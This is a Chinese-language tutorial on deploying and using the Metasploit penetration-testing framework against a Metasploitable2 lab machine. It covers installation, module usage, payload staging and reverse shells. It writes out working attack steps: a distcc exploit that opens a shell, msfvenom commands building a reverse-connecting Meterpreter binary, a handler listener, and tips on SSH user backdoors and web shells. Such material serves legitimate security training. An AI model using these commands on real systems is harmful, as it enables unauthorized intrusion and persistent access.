Metasploit部署、使用与原理分析

文章目录


前言

   本博客的主要内容为Metasploit的部署、使用与原理分析。本博文内容较长,因为涵盖了Metasploit的几乎全部内容,从部署的详细过程到如何使用Metasploit进行渗透测试,以及对Metasploit进行渗透测试的原理分析,相信认真读完本博文,各位读者一定会对Metasploit有更深的了解。以下就是本篇博客的全部内容了。


1、概述

  Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。Metasploit项目最为知名的子项目是开源的Metasploit框架,这是一套针对远程主机进行开发和执行“exploit代码”的工具。其它重要的子项目包括Opcode数据库、shellcode文件、安全研究等内容。Metasploit项目知名的功能还包括反取证与规避工具,其中的某些工具已经内置在Metasploit Framework里面。

  总之Metasploit是一款开源的渗透测试框架,旨在帮助安全专业人员测试和验证系统的安全性。它提供了一套工具和资源,使安全团队能够模拟攻击,检测系统中的漏洞,并评估网络的安全性。以下是Metasploit的一些主要特点和组件:

  • 模块化框架:Metasploit采用模块化的架构,使用户能够轻松地添加、更新和删除模块。这使得框架非常灵活,适应不同的渗透测试场景
  • 漏洞利用:Metasploit包含了大量的漏洞利用模块,用于测试和利用已知的安全漏洞。这些模块允许安全专业人员在授权的环境中测试系统的弱点,以帮助组织加固其安全性
  • Payloads:Metasploit提供各种有效载荷(Payloads),这是一种能够在受攻击的系统上执行特定操作的代码。这些有效载荷可以用于建立远程访问、收集信息、绕过防御等目的
  • 自动化:Metasploit支持脚本编写和自动化,这使得渗透测试可以更加高效。用户可以编写脚本来自定义测试,也可以使用现有的模块进行自动化渗透测试
  • 模拟攻击:Metasploit允许安全专业人员模拟不同类型的攻击,包括远程执行代码、拒绝服务攻击等,以帮助组织了解其系统和网络的脆弱性
  • 资源库:Metasploit框架维护了一个庞大的漏洞和漏洞利用的数据库,这些信息可以帮助渗透测试人员了解当前的威胁和漏洞
  • 社区支持:Metasploit是一个开源项目,拥有庞大的社区支持。这意味着用户可以从社区中获取支持、参与讨论,并共享有关漏洞和安全性的信息

  Metasploit最初由H.D. Moore在2003年创建,他是一位安全研究人员和计算机安全领域的专家。H.D. Moore的目标是建立一个强大的工具,帮助安全专业人员更好地理解和评估系统的安全性。他的开发工作致力于创建一个开源框架,使渗透测试和安全评估更加灵活和可定制。

  随着Metasploit的发展和影响力的增加,H.D. Moore在2009年离开了Metasploit项目。在那之后,Metasploit被收购并纳入了Rapid7公司。Rapid7是一家专注于提供安全解决方案的公司,他们通过整合Metasploit为其客户提供更全面的安全工具和服务。这个收购使得Metasploit得以在更广泛的专业和企业环境中得到推广和使用。

  Rapid7继续支持和发展Metasploit,并将其作为旗下产品的一部分。Metasploit的持续更新和改进反映了安全领域的演进和不断变化的威胁景观。通过Rapid7的支持,Metasploit得以保持其作为一款领先的渗透测试框架的地位,并为安全专业人员提供强大的工具,以有效地评估和提高信息系统的安全性。此外,Metasploit工具基于Ruby语言、C语言、Python语言和JavaScript语言开发。

2、安装与使用

软件环境硬件环境约束条件
ubuntu-22.04.1-desktop-amd64(内核版本5.15.0-43-generic)分配2个处理器,每个处理器有4个内核,故处理器内核总数为8具体的约束条件可见“2.1.1、脚本安装”和“2.1.2、源码安装”章节所示的软件版本约束
具体的软件环境可见“2.1、安装方法”章节所示的软件环境内存8GB暂无
暂无硬盘200GB暂无
暂无Metasploit部署在VMware Pro 17上的Ubuntu22.04.1系统上,主机系统为Windows11暂无

2.1、安装方法

2.1.1、脚本安装

  1. 首先来到当前用户的根目录中,并下载Metasploit的shell安装脚本:
$ cd /home/iie-iisd/
$ wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
  1. 然后执行如下命令查看是否成功下载Metasploit的shell安装脚本:
$ ls -la metasploit-latest-linux-x64-installer.run
  1. 可以发现,已经成功下载了Metasploit的shell安装脚本到当前目录中:
    在这里插入图片描述

  2. 然后使用如下命令赋予Metasploit的shell安装脚本具有可执行权限:

$ chmod +x ./metasploit-latest-linux-x64-installer.run
  1. 然后执行如下命令来运行Metasploit的shell安装脚本:
$ sudo ./metasploit-latest-linux-x64-installer.run
  1. 然后会出现如下图所示的界面,我们只需要按照红箭头和红框处所示进行选择即可:
    在这里插入图片描述

  2. 然后会出现如下图所示的界面,我们只需要按照红箭头和红框处所示进行选择即可:
    在这里插入图片描述

  3. 然后会出现如下图所示的界面,我们只需要按照红箭头和红框处所示进行选择即可。我们在这里并不修改Metasploit的安装目录,使用默认的安装目录即可(即“/opt/metasploit/”):
    在这里插入图片描述

  4. 然后会出现如下图所示的界面,这里是询问我们是否将Metasploit安装为服务,我们需要将其安装为服务(这也是默认选项),故我们需要按照红箭头和红框处所示进行选择:
    在这里插入图片描述

  5. 然后会出现如下图所示的界面,这里是要求我们禁用系统上的防病毒和防火墙,因为Metasploit使用一些可能被系统防病毒或防火墙阻止的技术,也就是说我们需要禁用系统上的防病毒和防火墙,故我们需要按照红箭头和红框处所示进行选择:
    在这里插入图片描述

  6. 然后会出现如下图所示的界面,这里是让我们选择Metasploit服务将要运行的端口,在这里我们就选择使用默认端口(即3790端口),故我们需要按照红箭头和红框处所示进行选择:
    在这里插入图片描述

  7. 然后会出现如下图所示的界面,这里是让我们设置Metasploit的服务器名称,在这里我们就选择默认的服务器名称(即“localhost”),此外,默认生成一个有效期为10年的自签名证书,在这里我们都选用默认值即可,故我们需要按照红箭头和红框处所示进行选择:
    在这里插入图片描述

  8. 然后会出现如下图所示的界面,这表明关于Metasploit的配置我们已经设置完毕了,下面就可以开始正式安装了,故我们需要按照红箭头和红框处所示进行选择:
    在这里插入图片描述

  9. 然后会出现如下图所示的界面,这表示Metasploit开始使用脚本进行安装了,我们只需要等待其安装完毕即可:
    在这里插入图片描述

  10. 然后会出现如下图所示的界面,这表示Metasploit已经安装完毕了,并说明我们可以访问其Web的UI界面(我们保持默认选项即可,因为我们需要访问其Web的UI界面),故我们需要按照红箭头和红框处所示进行选择:
    在这里插入图片描述

  11. 然后会出现如下图所示的界面,经过多次测试,这应该是一个Bug,我们只需要强制退出即可,故我们需要按照红箭头和红框处所示进行选择:
    在这里插入图片描述

  12. 然后在之前运行命令的终端中按“Ctrl+C”来结束安装,因为此时Metasploit已经安装完毕了:
    在这里插入图片描述

  13. 然后我们打开系统自带的Firefox浏览器来访问如下地址:

https://localhost:3790
  1. 然后会出现如下图所示的界面,我们只需要按照红箭头和红框处选择即可:
    在这里插入图片描述

  2. 然后会出现如下图所示的界面,我们只需要按照红箭头和红框处选择即可:
    在这里插入图片描述

  3. 然后会来到如下图所示的界面,在此界面中我们需要填入相关信息以创建新的用户,具体细节见下图的注释:
    在这里插入图片描述

  4. 然后会出现如下图所示的界面,这里让我们激活授权,不过我们目前并不需要对Metasploit进行激活授权(如果后面有需求可以对其手动激活授权),所以到这里Metasploit就算安装完毕了:
    在这里插入图片描述

  5. 当我们做完以上操作后,来到终端执行如下命令,就可以进入Metasploit的命令行交互界面了,即msfconsole:

$ msfconsole
  1. 出现如下图所示的内容即代表Metasploit已经通过脚本安装成功了,并且可以发现当前安装的Metasploit版本为6.3.36-dev-:
    在这里插入图片描述

  2. 如果想退出Metasploit的命令行交互界面,我们可以使用exit命令

2.1.2、源码安装

  1. 首先下载安装所必需的依赖项:
$ sudo apt-get update
$ sudo apt install gpgv2 autoconf bison build-essential postgresql libaprutil1 libgmp3-dev libpcap-dev openssl libpq-dev libreadline6-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2 libxml2-dev libxslt-dev wget libyaml-dev ncurses-dev postgresql-contrib xsel zlib1g zlib1g-dev -y
$ sudo apt-get install curl -y
  1. 然后来到当前用户的根目录中,并下载Metasploit的源代码:
$ cd /home/iie-iisd/
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
  1. 然后查看下载后的内容:
$ ls -la msfinstall
  1. 下载后的内容如下所示:
    在这里插入图片描述

  2. 然后执行如下命令授予刚刚下载的文件相应的权限使其成为可执行文件:

$ chmod 755 msfinstall
  1. 然后执行如下命令安装Metasploit:
$ ./msfinstall
  1. 当上面的操作完成之后,Metasploit就安装完毕了。最终Metasploit被安装在“/opt/metasploit-framework/”目录中:
    在这里插入图片描述

  2. 然后我们可以使用如下命令来进入Metasploit的命令行模式,即msfconsole:

$ msfconsole
  1. 然后会出现如下图所示的界面,我们只需要输入“yes”后按一下“Enter”即可:
    在这里插入图片描述

  2. 然后会出现如下图所示的界面,这就代表Metasploit已经通过源码安装成功了,并且可以发现当前安装的Metasploit版本为6.3.44-dev-:
    在这里插入图片描述

  3. 如果想退出Metasploit的命令行模式,我们可以使用exit命令

2.2、使用方法

  在本章节,我们将介绍关于Metasploit工具的一些使用方法,包括初级使用方法、中级使用方法和高级使用方法。在介绍使用方法的各自章节中,我们并不介绍Metasploit工具如何启动,因为在使用之前我们默认Metasploit工具已经被部署并启动了,所以在本章中使用Metasploit工具之前,默认开启Metasploit工具,并且使用的是通过源码安装的Metasploit工具。关于Metasploit工具部署和启动的具体方法请参见“2.1、安装方法”中的具体章节。此外,在本章节中所介绍的使用方法,只是针对如何使用,并不针对特定的例子,如想了解Metasploit工具针对具体测试用例如何使用,请参见“3、测试用例”中的具体章节。

  还有一点需要强调,本章节中使用的测试靶机为“3、测试用例”章节中部署的Metasploitable2靶机环境,其IP地址为“192.168.157.184”。另,攻击者(即主机)的IP地址为“192.168.157.176”。下面就是本章的全部内容。

2.2.1、初级使用方法

2.2.1.1、运行模块
2.2.1.1.1、查找模块

  Metasploit基于模块的概念。最常用的模块类型有如下几种。具体来说,“模块”是一种组织代码和功能的方式,用于执行特定的任务:

  • Auxiliary:此模块不利用目标,但可以执行数据收集或管理任务
  • Exploit:此模块以允许框架在目标主机上执行任意代码的方式利用漏洞
  • Payloads:此模块可以在远程目标上执行以执行任务的任意代码,例如创建用户、打开shell等
  • Post:此模块在计算机遭到入侵后使用。它们执行有用的任务,例如从会话中聚集、收集或枚举数据

  我们可以使用search命令来搜索模块,比如当我们想要查找在Metasploit工具的Auxiliary模块中与HTTP协议中的HTML标题标签相关的模块时,就可以使用下面的命令来执行查询操作:

msf6 > search type:auxiliary http html title tag

  当我们执行完上面的命令后,会出现如下图所示的界面,这就代表我们成功查询到了在Metasploit工具的Auxiliary模块中与HTTP协议中的HTML标题标签相关的模块:
在这里插入图片描述
  现在我们可以查询我们所需要的模块了,那如果我们想使用某个模块来帮助我们来完成某些功能呢?此时我们就可以通过指定完整的模块名称来使用Metasploit模块,如下命令所示:

msf6 > use auxiliary/scanner/http/title

  然后会出现如下图所示的界面,红箭头和红框处就代表当前激活并使用的模块:
在这里插入图片描述

  如果我们想不再使用当前激活的模块,即若要退出当前激活并使用的模块,可以使用如下命令(在后面我们会直接使用此命令,不再赘述):

msf6 auxiliary(scanner/http/title) > back

  当我们成功退出刚刚激活并使用的模块后,就会回到Metasploit工具的命令行交互的主界面:
在这里插入图片描述

2.2.1.1.2、运行Auxiliary模块

  需要注意的是,Auxiliary模块不利用目标,但可以执行数据收集或管理任务。例如,从服务器中提取HTTP标题的模块。我们首先激活并使用Metasploit工具的Auxiliary模块中与HTTP协议中的HTML标题标签相关的模块:

msf6 > use auxiliary/scanner/http/title

  每个模块都提供可配置的选项,这些选择可以通过show options或别名options命令查看:

msf6 auxiliary(scanner/http/title) > show options

  关于此模块提供的可配置选项如下图所示:
在这里插入图片描述

  要设置模块选项,需要使用set命令。我们将设置RHOST选项,该选项表示模块将运行的目标主机:

msf6 auxiliary(scanner/http/title) > set RHOSTS sina.com

  设置完成后,会出现如下图红箭头和红框处所示的内容:
在这里插入图片描述

  然后可以使用run命令来针对目标运行此模块,以显示目标的HTTP标题:

msf6 auxiliary(scanner/http/title) > run

  执行上面的命令后,会出现如下图所示的内容,即打印有关我们设置的目标主机的HTTP标题信息:
在这里插入图片描述

  Metasploit 6新增了对运行模块的支持,其中选项设置为run命令的一部分。例如,设置RHOSTS和启用HttpTrace功能:

msf6 auxiliary(scanner/http/title) > run rhosts=sina.com httptrace=true

  执行上面的命令后,会出现如下图所示的内容,即打印有关目标主机的Http请求的响应信息:
在这里插入图片描述

  然后可以使用下面的命令来退出当前激活并使用的模块:

msf6 auxiliary(scanner/http/title) > back
2.2.1.1.3、运行Exploit模块

  Exploit模块需要一个易受攻击的目标。建议各位读者设置自己的本地测试环境来运行此模块。例如,在虚拟机中,或使用Docker。目前由多个预构建的易受攻击的测试环境,例如:

  例如,针对易受攻击的Metasploitable2虚拟机并使用名为“unix/misc/distcc_exec”:

msf6 > use unix/misc/distcc_exec

  执行上面的命令后,会出现如下图所示的内容,即代表正常使用此模块。需要注意的是,后面如果再打印这些类似的信息,我们不再截图展示,只会截图展示重要的输出信息,对于此点,不再赘述:
在这里插入图片描述

Exploit模块通常至少需要设置以下选项:

  • RHOST:远程目标主机地址
  • LHOST:侦听地址。重要信息:如果您通过VPN连接到目标,则可能需要将其设置为您的tun0IP地址或类似地址
  • PAYLOAD:Exploit攻击成功之后要执行的代码。例如,创建用户或Metasploit会话。通常,这可以保留为默认值,但有时可能需要配置

  每个模块都提供可配置的选项,这些选择可以通过show options或别名options命令查看:

msf6 exploit(unix/misc/distcc_exec) > options

  以下就是关于Exploit模块提供的可配置的选项:
在这里插入图片描述

  例如,我们可以手动设置每个所需的选项值(RHOSTLHOST和可选的PAYLOAD)。还有一点需要强调,在这里我们设置的目标主机地址信息为在“3、测试用例”章节中设置的靶机的相关信息,关于这部分内容我们不在此处展开,只是直接使用,若各位读者感兴趣,请参阅“3、测试用例”章节中的相关内容。此外,从现在开始后面的所有有关靶机的内容,我们也都是直接使用“3、测试用例”章节中配置好的靶机,与此处一样,故不再赘述:

msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.157.184
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse

  执行完上面的命令后,会出现如下图所示的内容,就代表我们设置成功了:
在这里插入图片描述

  run命令将针对目标主机运行此模块,还有一个别名exploit命令将执行相同的操作:

msf6 exploit(unix/misc/distcc_exec) > run

执行完上面的命令后,会出现如下图所示的界面,此时就代表我们成功获取到了一个目标主机的Shell命令行交互程序:
在这里插入图片描述

  我们在这个Shell命令行交互程序中,可以直接对目标主机执行命令,比如我们执行whoami命令,查看一下目标主机当前登录的用户的名称:
在这里插入图片描述

  如果想退出获取到的目标主机的Shell命令行交互程序,直接按“Ctrl+C”即可。不过会出现如下图所示的内容,我们只需要输入“y”后按一下“Enter”即可回到原来的命令行交互界面。后面如果遇到类似的情况都这么操作,不再赘述。
在这里插入图片描述

  Metasploit 6新增了对运行模块的支持,其中选项设置为run命令的一部分:

msf6 exploit(unix/misc/distcc_exec) > run rhost 192.168.157.184 payload cmd/unix/reverse

  执行完上面的命令后的结果和刚刚Exploit的过程一致(如下图红箭头和红框处所示),在此不再赘述。测试完毕后,使用刚刚介绍的方法退出此次Exploit即可。此外,从现在开始的每章节当我们做完测试后,都要按照刚刚介绍的方法退出测试使用的环境,关于此点也不再赘述。
在这里插入图片描述

2.2.1.2、如何正确使用Metasploit模块
2.2.1.2.1、加载Metasploit模块

  每个Metasploit模块都附带了一些元数据,这些元数据解释了它的内容,要查看这些信息,必须先加载它。一个例子:

msf6 > use exploit/windows/smb/ms08_067_netapi
2.2.1.2.2、阅读模块说明和参考资料

  在决定是否适合使用该漏洞之前,我们应该始终在其描述或其提供的参考中查找以下内容:

  • 哪些产品和版本易受攻击:这是我们应该了解的关于漏洞的最基本信息。
  • 什么类型的漏洞以及它是如何工作的:基本上,我们正在学习该漏洞的副作用。例如,如果我们正在利用内存损坏,如果它由于任何原因而失败,我们可能会使服务崩溃。即使没有,当我们完成shell并键入“exit”时,它仍然有可能崩溃。高级bug通常更安全,但不是100%。例如,它可能需要修改配置文件或安装一些可能导致应用程序损坏并可能成为永久性的东西。
  • 哪些已经过测试:当开发一个模块时,如果设置太多,通常不会针对每一个设置进行测试。通常,开发人员只会尝试测试他们能得到的任何东西。所以,如果这里没有提到我们的目标,请记住,不能保证它100%有效。最安全的做法是实际重新创建目标所处的环境,并在命中真实目标之前测试漏洞。
  • 服务器必须满足哪些条件才能被利用:通常,一个漏洞需要多个条件才能被使用。在某些情况下,我们可以依赖漏洞利用的check命令,因为当Metasploit将某个东西标记为易受攻击时,它实际上利用了漏洞。对于使用BrowserExploitServer mixin的浏览器漏洞利用,它还将在加载漏洞利用之前检查可利用性要求。但自动化并不总是存在的,所以在运行exploit命令之前,我们应该尝试找到这些信息。有时候这只是常识,真的。例如:网络应用程序的文件上传功能可能被滥用来上传基于网络的后门,而类似的东西通常需要用户可以访问上传文件夹。如果我们的目标不符合要求,就没有必要尝试。

  我们可以使用info命令查看模块的描述:

msf6 exploit(windows/smb/ms08_067_netapi) > info

  这将会打印如下图所示的信息:
在这里插入图片描述

2.2.1.2.3、阅读目标列表

  每个Metasploit漏洞都有一个目标列表。基本上,这是开发人员在公开利用漏洞之前测试的设置列表。如果我们的目标机器不在列表中,最好假设从未在该特定设置上测试过该漏洞。

  如果该漏洞攻击支持自动定位,则它始终是列表(或索引0)上的第一项。第一个项目也几乎总是默认目标。这意味着,如果我们以前从未使用过该漏洞,就永远不应该认为它会自动为你选择一个目标,而且默认设置可能不是我们正在测试的设置。

  show options命令将告诉我们选择了哪个目标。例如:

msf6 exploit(windows/smb/ms08_067_netapi) > show options 

  这将会打印如下图所示的信息:
在这里插入图片描述

  show targets命令将为我们提供支持的目标列表:

msf6 exploit(windows/smb/ms08_067_netapi) > show targets

  这将会打印如下图所示的信息:
在这里插入图片描述

2.2.1.2.4、检查所有选项

  所有Metasploit模块都预配置了大多数数据存储选项。但是,它们可能不适合我们正在测试的特定设置。要进行快速的双重检查,通常show options命令就足够了(刚刚介绍过):

msf6 exploit(windows/smb/ms08_067_netapi) > show options

  但是,show options命令仅显示所有基本选项。它不会向我们显示规避或高级选项(可以尝试show escapex命令和show advanced命令),我们应该使用的显示所有数据存储选项的命令实际上是set命令:

msf6 exploit(windows/smb/ms08_067_netapi) > set

  这将会打印如下图所示的信息:
在这里插入图片描述

2.2.1.2.5、查找模块的pull请求

  Metasploit存储库托管在GitHub上,开发人员/贡献者在很大程度上依赖它进行开发。在模块公开之前,它会作为pull请求提交,以进行最终测试和审查。在那里,我们会发现几乎所有需要了解的关于模块的信息,可能还有一些我们从阅读模块的描述或一些随机的博客文章中不会学到的东西。这些信息真的像金子一样。

  我们可能会从阅读pull请求中学到一些东西:

  • 如何建立易受攻击的环境的步骤
  • 实际测试了哪些目标
  • 模块的使用方式
  • 模块是如何验证的
  • 发现了哪些问题。我们可能想知道的问题
  • 演示
  • 其它惊喜

  有几种方法可以找到我们正在使用的模块的pull请求:

  • 通过msfconsole中的info-d命令:如果我们生成一个个人访问令牌,并使用export GITHUB_OAUTH_token your_token命令在shell环境中设置它,那么内置文档将显示当前模块的相关拉取请求
  • 通过pull请求号码:如果我们真的知道pull请求的号码,这是最简单的。只需简单的访问如下网址:
    https://github.com/rapid7/metasploit-framework/pull/[PULL REQUEST NUMBER HERE]
  • 通过过滤器:这很可能是我们找到pull请求的方式。首先,我们应该转到这里:https://github.com/rapid7/metasploit-framework/pulls。在顶部,我们将看到一个带有默认过滤器的搜索输入框:is:pr is:open。这些默认请求意味着我们正在查看pull请求,以及那些仍在等待合并到Metasploit的请求。好吧,既然我们正在找到一个已经合并的,那么我们应该这样做:
    1. 单击“Closed”(关闭)
    2. 选择标签“module”(模块)
    3. 在搜索框中,输入与模块相关的其它关键字。模块的标题可能提供了最好的关键字

  注意:如果该模块是在2011年11月之前编写的,那么我们将找不到它的pull请求。

2.2.1.3、Payloads的工作方式

  Payload模块存储在“modules/payloads/{singles,stages,stagers}/”目录中。在框架启动时,stages与stagers结合,创建一个完整的Payload,我们可以在渗透攻击中使用。接着,处理程序与Payload配对,这样框架就会知道如何使用特定的通信机制创建会话。

  Payloads被赋予参考名称,指示所有部件,如下所示:

  • 分段式Payloads:“/[arch]//”
  • 单一Payloads:“/[arch]/”

  这会产生像“windows/x64/meterpreter/reverse_tcp”这样的Payload。细分来看,平台是windows,体系结构是x64,我们要传递的最终阶段是 meterpreter,而传递它的分段式Payload是reverse_tcp。

  请注意,体系结构是可选的,因为在某些情况下,它要么是不必要的,要么是隐含的。一个例子是“php/meterpreter/reverse_tcp”。对于PHP Payload来说,体系结构是不需要的,因为我们传递的是解释代码,而不是本地代码。

2.2.1.3.1、Singles

  单一Payloads是一次性的。它们可以创建与Metasploit的通信机制,但不是必须的。一个使用单一Payloads的场景示例是当目标没有网络访问时——通过USB密钥传递的文件格式漏洞仍然是可能的。

2.2.1.3.2、Stagers

  分段式Payload是一个小型stub,旨在创建某种形式的通信,然后将执行权传递给下一个阶段。使用分段式Payload解决了两个问题。首先,它允许我们最初使用一个小型Payload加载一个具有更多功能的较大Payload。其次,它使得可以将通信机制与最终阶段分离,因此一个Payload可以在不重复代码的情况下与多个传输一起使用。

2.2.1.3.3、Stages

  由于分段式Payload将通过为我们分配大块内存来处理任何大小限制,所以stages可以任意大。其中一个优势是可以使用高级语言(如C语言)编写最终阶段的Payload。

2.2.1.3.4、传递阶段
  1. 我们希望Payload连接回的IP地址和端口嵌入在stager中。如上所述,所有阶段的Payload只不过是一个小的stub,用于建立通信并执行下一阶段。当我们使用分段式Payload创建可执行文件时,实际上只是在创建stager。因此,以下命令将创建功能相同的exe文件:
msfvenom -f exe LHOST=192.168.157.184 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.157.184 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.157.184 -p windows/vncinject/reverse_tcp

(请注意,这些文件在功能上是相同的——其中有很多随机化,因此没有两个可执行文件完全相同。)
2. Ruby端充当客户端,使用stager设置的任何传输机制(例如:tcp、http、https)。

  • 在shell阶段的情况下,Metasploit将在我们与远程进程的stdio交互时将其连接到我们的终端。
  • Meterpreter阶段的情况下,Metasploit将开始使用Metermeter有线协议。
2.2.1.4、模块文档

  现在,我们可以使用info-d命令动态生成模块的文档。模块文档允许我们从网页而不是从命令行查看特定模块的帮助。帮助页面包括:

  • 如果我们设置了GitHub访问令牌,则包括与特定模块相关的PR历史记录。
  • 模块的基本使用说明。
  • 模块的高级使用说明(如果可用)。
2.2.1.4.1、如何使用它

  加载模块后,我们可以输入info-d命令来生成一个帮助页面,该页面提供基本的使用信息并显示模块的PR历史记录。

msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > info -d

  此外,如果可用,帮助页面还将包括一个包含高级使用信息的知识库(KB),例如受攻击目标的详细信息、注意事项和示例用法。KB中的内容包含在“metasploit-framework/documentation/modules”目录中的标记文件中。其目的是提供一般文件范围之外的补充信息。

2.2.1.4.2、添加访问令牌以查看PR历史记录

  为了能够查看模块的PR历史记录,我们需要将我们的GitHub访问令牌添加到“.bash_profile”中的环境变量GITHUB_OAUTH_TOKEN="<your token here>"中。

  生成GitHub访问令牌,请查看此页面。该令牌需要具有对仓库的权限。

2.2.1.4.3、如何编写KB

  通常,创建模块的人会为其编写初始KB,但任何人都可以编写或贡献它。在编写KB之前,我们应该查看示例模板“module_doc_template.md”,或者查看任何已经可用的KB。要编写KB,我们需要:

  1. 创建一个“markdown(.md)”文件。
  2. 写出内容。
  3. 保存文件并以模块名称命名。例如,“ms08_067_netapi.rb”对应的文件名称为“ms08_0670_netapi.md”。
  4. 按照以下指示将其放置在“metasploit-framework/documentation/modules”目录中。
2.2.1.4.4、KB文件的存放位置

  如果我们来到“metasploit-framework/documentation/modules”目录,将会看到每个模块类型都有文档目录:Auxiliary、Exploit、Payload和Post。要弄清楚需要将文件放在哪里,我们需要查看模块名称。

  1. 启动msfconsole。
  2. 键入use<module name>
  3. 键入info
  4. 当模块名称出现时,请查看module(模块)字段。我们将看到模块的文件路径。这就是需要添加KB的路径。

  例如:

msf6 > use auxiliary/scanner/smb/smb_login 
msf6 auxiliary(scanner/smb/smb_login) > info

  执行完上面的命令后,就会出现如下图所示的内容,其中红箭头和红框处就是当前模块的名字和其文件路径,这表明如果我们正在为smb登录扫描程序创建一个KB,则应将其添加到“metasploit-framework/documentation/modules/axiliary/scanner/smb”目录中。
在这里插入图片描述

2.2.1.4.5、KB中应包含的部分

  这些只是建议,但如果KB有以下部分就好了:

  • 易受攻击的应用程序-告诉用户哪些目标(版本号)易受模块攻击,并提供如何访问易受攻击目标进行测试的说明。如果可能,请提供下载链接和任何设置说明,以适当配置软件。
  • 验证步骤-告诉用户如何使用模块以及运行模块的预期结果。
  • 选项-提供可与模块一起运行的所有选项的说明。此外,明确确定所需的选项。
  • 场景-提供示例用法,并描述用户在运行模块时可能需要注意的注意事项。包括版本号和操作系统,以便以后可以复制此安装程序。
2.2.1.5、如何在Metasploit中使用反向shell

  有两种流行的shell类型:绑定和反向。绑定shell-在目标计算机上打开一个新服务,并要求攻击者连接到该服务以获取会话。反向shell-反向shell也称为connect-back。它要求攻击者首先在自己的计算机上设置一个监听器,目标机器充当连接到该监听器的客户端,然后,攻击者接收到shell。

  我们可以在旧的Metasploit用户指南的5.2.4选择Payload部分了解更多关于Payload主要用途的信息。

  这部分内容介绍了如何使用反向shell来获取会话。

2.2.1.5.1、Metasploit反向shell列表

  要获得反向shell的列表,请打开一个新的不进入Metasploit环境的命令行终端并使用msfvenom命令。

$ sudo msfvenom --list payloads | grep reverse

  执行上面的命令后,会打印关于反向shell的列表。
在这里插入图片描述

  作为一项经验法则,通常选择 Meterpreter,因为它目前提供了对Metasploit提供的更好的后渗透支持。例如,Railgun、post模块、不同的Meterpreter命令。

  1. Windows通用反向shell
    在Windows中,最常用的反向shell是“windows/meterpreter/reverse”。我们也可以使用“windows/meterpreter/reverse_http”或“windows/meterpreter/reverse_http”,因为它们的网络流量看起来不那么异常。
  2. Linux通用反向shell
    在Linux中,我们可以尝试“linux/x86/meterpreter/reverse_tcp”,或者64位的。“linux/x86/shell_reverse_tcp”是最稳定的。
2.2.1.5.2、何时使用反向shell

  如果我们发现自己处于以下情况之一,则应考虑使用反向shell:

  • 目标计算机位于不同的专用网络后面。
  • 目标计算机的防火墙会阻止到bindshell的传入连接尝试。
  • 由于任何原因,我们的Payload都无法绑定到它想要的端口。
  • 我们无法决定选择什么。
2.2.1.5.3、当不需要反向shell时

  一般来说,如果可以对现有服务进行后门操作,则可能不需要反向shell。例如,如果目标计算机已经在运行SSH服务器,那么我们可以尝试向其中添加一个新用户并使用它。

  如果目标计算机运行的web服务器支持服务器端编程语言,则可以使用该语言保留后门。例如,许多Apache服务器都支持PHP,那么我们就可以使用PHP的“web shell”。IIS服务器通常支持ASP或ASP.net。Metasploit Framework提供所有这些语言和许多其它语言的Payload。
这也适用于VNC、远程桌面、SMB(psexec)或其它远程管理工具等。

2.2.1.5.4、如何在Payload生成过程中设置反向shell

  当我们使用msfpayloadmsfvenom生成反向shell时,我们必须知道如何配置以下内容:

  • LHOST-这是我们希望目标计算机连接到的IP地址。如果我们在局域网中,除非我们和目标计算机都在同一网络上,否则我们的目标计算机不太可能联系到我们。在这种情况下,我们必须找到面向公众的IP地址,然后配置网络以将该连接转发到我们的计算机。LHOST不应该是“localhost”、“0.0.0.0”或“127.0.0.1”,因为如果我们这样做,我们将告诉目标机器连接到它自己(或者它可能根本无法工作)。
  • LPORT-这是我们希望目标计算机连接到的端口。
    当我们为反向shell设置监听器时,我们至少还需要配置LHOST和LPORT,但含义略有不同(视角不同):
  • LHOST-这是我们希望监听器绑定到的IP地址。
  • LPORT-这是我们希望监听器绑定到的端口。

  在执行反向shell之前,我们应该确保监听器已经首先启动。

2.2.1.5.5、演示

  在本演示中,我们有两个计算机:

  • 计算机A:
    • 接收Payload会话的攻击者主机
    • IP地址是:192.168.157.176(ifconfig
    • 位于与受害者机器相同的网络中
  • 计算机B:
    • 受害者机器
    • Ubuntu 8.04
    • IP 地址是:192.168.157.184(ifconfig
    • 与攻击者机器位于相同的网络中
    • 出于测试目的,未启用任何防病毒软件
    • 出于测试目的,防火墙也未启用

  以下是本次演示的具体步骤:

  1. 生成可执行Payload
    在攻击者的计算机上,运行msfpayload或msfvenom:
msf6 > msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.157.176 lport=4444 -f elf -o /tmp/iambad

       执行完上面的命令后,会在攻击者的计算机上的“/tmp/”目录中,生成一个名为“iambad”的可执行文件。我们可以在另一个没有启动Metasploit的命令行终端中使用如下命令查看:

$ ls /tmp/ | grep iambad

       可以发现,确实为我们生成了这个可执行文件:
在这里插入图片描述

  1. 将可执行Payload复制到计算机B
    计算机B是受害者计算机。需要注意的是,将生成的可执行Payload复制到计算机B的“/tmp/”目录下,与在计算机A中可执行Payload的存放位置一致。

  2. 在计算机A上设置Payload处理程序
    计算机A是攻击者计算机。

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.157.176
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
  1. 双击恶意可执行文件
    此步需要在计算机B中启动我们刚刚上传到“/tmp/”目录中的名为“iambad”的恶意可执行文件(首先要赋予其可执行权限)。
$ chmod +x /tmp/iambad
$ /tmp/iambad
  1. 查看计算机A上的meterpreter/payload会话
    当做完以上步骤之后,在计算机A的Metasploit的命令行终端中会打印如下图红箭头和红框处所示的内容。
    在这里插入图片描述

       上图中红箭头和红框处所示的内容表示meterpreter提示我们当前正在与Payload交互。

2.2.1.6、如何使用msfvenom

  msfvenom是Payload生成和编码的组合。它于2015年6月8日取代了msfpayload和msfencode。要开始使用msfvenom,请首先查看它支持的选项。

msf6 > msfvenom --help

  执行上面的命令就会打印msfvenom支持的选项。
